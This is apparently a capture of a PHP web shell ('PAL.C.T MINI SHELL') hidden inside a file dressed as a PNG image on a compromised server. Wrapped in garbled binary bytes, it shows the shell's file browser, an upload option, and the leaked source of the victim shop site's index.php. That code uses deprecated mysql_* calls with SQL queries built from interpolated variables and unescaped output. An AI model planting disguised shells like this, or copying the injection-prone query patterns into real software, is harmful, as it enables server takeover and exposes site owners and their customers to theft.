php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/subdomain/fixed1/
upload
files >> //var/www/html/subdomain/fixed1/index.php

<?php

	include "../../config/koneksi.php";
	include "../../config/class_paging.php";

function curPageURL() {
	 $pageURL = 'http';
	 if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
	 $pageURL .= "://";
	 if ($_SERVER["SERVER_PORT"] != "80") {
	  $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
	 } else {
	  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
	 }
	 return $pageURL;
	}


	$url = curPageURL();
    $subdomain = explode('.', $url);
    $subdomain = explode('/', $subdomain[0]);
    $subdomain = $subdomain[2];
	//echo $subdomain;

    $subdomain = "contoh1";

	$query = mysql_query("SELECT *
							FROM `subdomain`
							WHERE `nama_subdomain` = '$subdomain'
							LIMIT 0 , 1");

		$query = mysql_fetch_array($query);
  		
  		$id_subdomain 	= $query['id_subdomain'];
		$background 	= $query['background'];
		$logo 			= $query['foto'];
		$status 		= $query['status'];
		//echo $id_usermember;

	$query_brand = mysql_query("SELECT *
								FROM `brand`
								WHERE `url` LIKE '$subdomain%'
								LIMIT 0 , 1");
	$q_brand = mysql_fetch_array($query_brand);

	// id_brand 	id_kategori 	nama_brand 	seo_brand 	url 	foto 	aktif

		$id_brand 	 = $q_brand['id_brand'];
		$id_kategori = $q_brand['nama_brand'];
		$nama_brands = $q_brand['nama_brand'];
		$seo_brand 	 = $q_brand['seo_brand'];
		$foto_brand  = $q_brand['foto'];
		$aktif 	 	 = $q_brand['aktif'];

?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title><?php echo $nama_brands; ?> | faedah.co.id</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="description" content="<?php echo $nama_brands; ?>">
  <meta name="keywords" content="<?php echo $seo_brand; ?>">
  <meta name="author" content="Cakra Danu Sedayu">

	<!--link rel="stylesheet/less" href="less/bootstrap.less" type="text/css" /-->
	<!--link rel="stylesheet/less" href="less/responsive.less" type="text/css" /-->
	<!--script src="js/less-1.3.3.min.js"></script-->
	<!--append ‘#!watch’ to the browser URL, then refresh the page. -->
	
	<link href="<?php echo $base_url; ?>asset/css/bootstrap.min.css" rel="stylesheet">
	<link href="<?php echo $base_url; ?>asset/css/bootstrap-responsive.min.css" rel="stylesheet">
	<link href="<?php echo $base_url; ?>subdomain/fixed/style.css" rel="stylesheet">
	<style type="text/css">
		body{
			background: url("<?php echo $base_url.'subdomain/images/'.$background; ?>") repeat;
		}
		
	</style>
</head>
<body >
	<div class='header' style='background : #014EA2; color:#fff;'>
		<div class='container' style='padding:10px;'>
			<div class='row'>
				<div class='col-md-3'>
					<img src="<?php echo $base_url.'subdomain/images/'.$logo; ?>" style='max-height:150px;'>
				</div>
				<div class='col-md-9'>
					<h1><?php 
						echo $nama_brands;
					?></h1>
				</div>
			</div>
		</div>
	</div>
	<br><br>
	<div class="main container" style='background : #fff;'>

		<div class='row'>
		<?php
			$p      = new Paging4;
  			$batas  = 12;
  			$posisi = $p->cariPosisi($batas);
			// 	id_produk 	id_kategori 	id_brand 	nama_produk 	produk_seo 	kode 	foto1 	foto2 	foto3 	

			$sql = mysql_query("SELECT * FROM produk_subdomain, produk_main 
								WHERE produk_subdomain.id_subdomain = '$id_subdomain' 
								AND produk_subdomain.kode = produk_main.kode_barang 
								ORDER by produk_subdomain.nama_produk_subdomain DESC LIMIT $posisi,$batas");

			while ($rw = mysql_fetch_array($sql)) {
				$url_produk = '';
				$url_produk = '';
				?>

					<div class='col-md-3 col-xs-6 list-produk' style='height:350px; margin-bottom:10px;'>
						<a href="<?php echo "produk-$rw[id_produk_subdomain]-$rw[produk_seo].html"; ?>">
						<div class='title-produk' style='height:80px;'>
							<legend><center>
								<?php  echo $rw['nama_produk_subdomain']; ?>
							</center></legend>
						</div>
						<?php
						$file = $base_url."images/img_produk/$rw[foto1]";
						//echo $file;
						?>
						<img src="<?php echo $base_url; ?>images/img_produk/<?php  echo $rw[foto1]; ?>" alt="<?php  echo $rw[produk_seo]; ?>" class='col-md-12' 
								style='max-height:200px; height:200px;'>						
							
						</a>

						<div class='row'>
							<br>
							<center>
								<a href="<?php echo $base_url."aksi.php?module=keranjang&act=tambah&id=$rw[id_main_produk]&kode=$rw[kode]&sumber=domain"; ?>" 
									target='_blank' class='btn btn-primary'>
									<span class="glyphicon glyphicon-shopping-cart"></span>
									Beli
								</a>
								</center>
						</div>
					</div>

				<?php
			}
		?>
		
		</div>
		<?php
		$jmldata     = mysql_num_rows(mysql_query("SELECT * FROM produk_subdomain WHERE id_subdomain = '$id_subdomain'"));
		$jmlhalaman  = $p->jumlahHalaman($jmldata, $batas);
	  	$linkHalaman = $p->navHalaman($_GET[halproduk], $jmlhalaman);

		echo "<br><center>$linkHalaman</center> <br /><br />";
			?>
	</div>
	<br>
	<div class='footer' style='background: #68B6E6;'>
		<div class='container'>
			<br>
			Copyright © 2014 Faedah. All Rights Reserved. <br><br><br> <!-- C'ds <a href="zoneordering.net">zoneordering.net</a> -->
 		</div>
	</div>
</body>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`